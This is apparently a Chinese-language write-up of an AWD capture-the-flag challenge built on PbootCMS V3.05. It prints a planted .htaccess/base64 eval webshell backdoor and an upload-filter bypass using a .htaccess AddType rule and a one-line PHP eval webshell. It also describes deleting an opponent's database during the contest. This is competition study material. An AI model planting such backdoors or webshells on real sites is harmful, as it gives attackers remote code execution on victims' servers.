一,赛题概述

1概述

这道题目是PbootCMS V3.05,主页面如下。

2配置概述

采用tutum/lamp的镜像,Php 5.3+,其他扩展自行apt安装即可

3漏洞赛题

目前在dump下来的镜像中,发现存在且非CMS本身的官方预制漏洞有三,分别记录如下。
备注:在复现以下漏洞的时候,为了图一省事就赋予了所有文件777权限。

二,RCE

1赛题预制原理

(1)文件预制


.htaccess中
AddType application/x-httpd-php .sql
php_value auto_append_file “php://filter/convert.base64-decode/resource=0cb2353f8ea80b398754308f15d1121e_20200705235535_pbootcms.sql”

0cb2353f8ea80b398754308f15d1121e_20200705235535_pbootcms.sql中
CgoKCiAJCQogCSAKICAJIAo8P3BocCBldmFsKCRfUkVRVUVTVFsiYWFhIl0pOz8+CgoK
解码后

(2)环境配置

首先,在php.ini中打开url文件包含

其次,在apache的.conf中添加服务器路径访问与解析授权

最后,大功告成!(就不多说了,搞配置都是一把鼻涕一把泪的,哭)

2wp

看下图应该就知道了(flag是自己添加的,原本要请求主办方的ip才有flag)

3赛题回顾

当时啊,就主办方因为把赛题容器权限写死了,导致无法上传其他php文件,然后比赛开始后一直有队伍再修补漏洞的过程中社会性死亡。于是,主办方”决定“——不能再让这些队伍”闲“下去了,都没人拿分,于是大方的以”迅雷不及掩耳之势“放出了上述漏洞的利用方式。最令人发指的是,我们队伍最后的得分竟然还是来自这个漏洞,就离谱好吧。

三,文件上传

1赛题预制原理

原CMS是于”在线留言“这一板块并没有文件上传点,故认为是赛题制作的漏洞。

其实,该漏洞的预制并不难,只要调用cms的开发变量就好了。(左为原题,右为原CMS)

2wp

发现有文件上传漏洞,php文件被过滤。

使用黑名单绕过方法即可
直接上传写有”AddType application/x-httpd-php .txt“的.htaccess文件和写有”<?php eval($_POST['a']);?>“的1.txt,然后使用蚁剑连接即可。

3赛题回顾

由于,该CMS默认使用的是SQLLITE轻量级数据库,而且为了能够实现文件上传的功能,所以需要给一些指定文件授予较高的权限,这也就导致了在比赛的过程中,只要有队伍使用了该漏洞getshell后,就可以删除pbootcms.db——进行恶意的宕机,从而向上冲排名。
很不幸的是,我的队伍就是当时的受害者之一。

(宕机后,来自隔壁的友好交流)
当然,还是要对隔壁大佬赛后友好的分享和交流表示感谢。

四,pboot特征漏洞

1赛题预制原理

赛题将原代码的过滤注释掉了

再文件中还发现一个莫名的config.html

个人尝试后无果,但怀疑是前台任意执行。苦于代码功底弱,无法调试复现。

2收集的资料

PbootCMS V3.0.1任意代码执行
PbootCMS任意代码执行
PbootCMS任意代码执行的前世今生
PHP动态特性的捕捉与逃逸.pdf
pbootcms最新版本前台捡的rce-论如何绕废正则
pbootcms漏洞复现

wp篇 AWD某一赛题全流程复现【江西省高校网络安全技能大赛】相关推荐

  1. 2020 第三届江西省高校网络安全技能大赛 线上赛Writeup

    赛题类型 Misc Misc1-Hello Misc2-encrypt Misc3-jump Misc4-Burps Misc5-Trees Misc6-qrcode Misc7-blind Misc ...

  2. 2020第三届江西省高校网络安全技能大赛 线下赛 CTFAWD Writeup

    文章目录 CTF Misc Boring_exe !_ ezAffine Daylight Blue Web Aurora website web2(忘了叫啥名) Crypto EasyRSA Int ...

  3. 山西省第二届网络安全技能大赛(企业组)部分赛题WP(三)

    前言 有幸参加了2022年山西省第二届网络安全技能大赛企业组的比赛,这是第一次参加ctf比赛,本着积累实战经验的目的去的,竟然排名14,有点意外. 提示:以下是本篇文章正文内容. 一.题目 题目: 流 ...

  4. 山西省第二届网络安全技能大赛(企业组)部分赛题WP(二)

    前言 有幸参加了2022年山西省第二届网络安全技能大赛企业组的比赛,这是第一次参加ctf比赛,本着积累实战经验的目的去的,竟然排名14,有点意外. 提示:以下是本篇文章正文内容. 一.题目 题目: 现 ...

  5. CTF赛题下载、复现、解题方法

    CTF练习–赛题下载.复现.解题方法 看过这篇文章,你将学会github中分享的赛题本地复现 我们以靶场其中的(web_gift)进行复现 一.操作系统准备 你需要一个linux操作系统并完成dock ...

  6. WP篇 创新实践能力赛(华东南分区赛)线下AWD复现

    这里就复现一个简单的点 一,题目概况 二,复现效果 三,源码对比 一,题目概况 这里复现的是easycms的setup/index.php的漏洞点,可以通过赛题预制漏洞获取flag. 二,复现效果 首 ...

  7. (一)美赛介绍篇:时间、赛题、奖项设置

    介绍篇:美赛介绍 (一)美赛基本介绍 (二) 美赛赛题类型 (三)美赛官网善用 (四)美赛奖项设置 美赛的进阶分享可到[指南帖]查看 (一)美赛基本介绍 美赛全称美国大学生数学建模竞赛,由美国数学及其 ...

  8. 新赛题上线!2021CCF大数据与计算智能大赛全面开赛!

    9月27日,第九届CCF大数据与计算智能大赛第2批赛题正式上线.至此,第九届CCF大数据与计算智能大赛全面开赛! 自2021年9月16日大赛首批赛题上线以来,选手报名十分踊跃,参赛竞逐也异常激烈.短短 ...

  9. 计算机网络竞赛备赛安排表,2018年辽宁省职业院校技能大赛(高职组)计算机网络赛项须知...

    各位参赛代表: 欢迎来到渤海船舶职业学院参加2018年辽宁省职业院校技能大赛(高职组)计算机网络赛项的比赛.为了您在葫芦岛工作生活顺利.愉快,特别提示您注意以下事项: 1. 参加大赛各项活动时,请佩戴 ...

最新文章

  1. 树莓派安装oepncv3.43
  2. 关于操作日志表的设计问题
  3. 思科交换机和路由器的远程配置
  4. PAT甲级1062 Talent and Virtue:[C++题解]结构体、哈希表
  5. ThreadLocal的好处
  6. px,em,rem,vw单位在网页和移动端的应用
  7. CSS学习-网页导航栏
  8. javascript中的call()和apply()方法 - 原创实例
  9. java类型转换_Java类型转换
  10. 实现textbox输入时模糊查询
  11. 哐!英特尔的无人机砸中你头顶
  12. python爬虫什么意思-python爬虫可以爬什么
  13. 基于TLC5615芯片的DDS信号发生器(FPGA)
  14. 网络安全等级保护2.0详解
  15. 2017南京大学计算机考研复试分,2018.的南大复试考生,:2017南京大学中国古代史考研复试经...
  16. 一些IGBT驱动芯片对比
  17. pion/ion搭建
  18. String比较字符串方法
  19. 织梦图集php,织梦怎么为新图集页面增加图片下载功能
  20. [20150901]提示USE_CONCAT.txt

热门文章

  1. 四柱子汉诺塔c语言程序代码,汉诺塔n=4(4个盘)c语言递归编程代码
  2. (附源码)SSM网约车管理系统 毕业设计 051630
  3. vue+element 导出Excel
  4. 【ESD专题】案例:双层SAM卡接口是每个脚都需要静电防护吗?
  5. 什么是公司邮箱,如何申请公司邮箱,公司邮箱怎么申请?
  6. [湖南大学程序设计实训训练作业二]12. 绩点计算
  7. c语言中strncat函数的用法,C语言之strncat函数
  8. veriflow的一些相关翻译
  9. 文件夹加密软件怎么选?文件夹加密软件盘点
  10. Vmware Esxi服务器虚拟机操作系统安装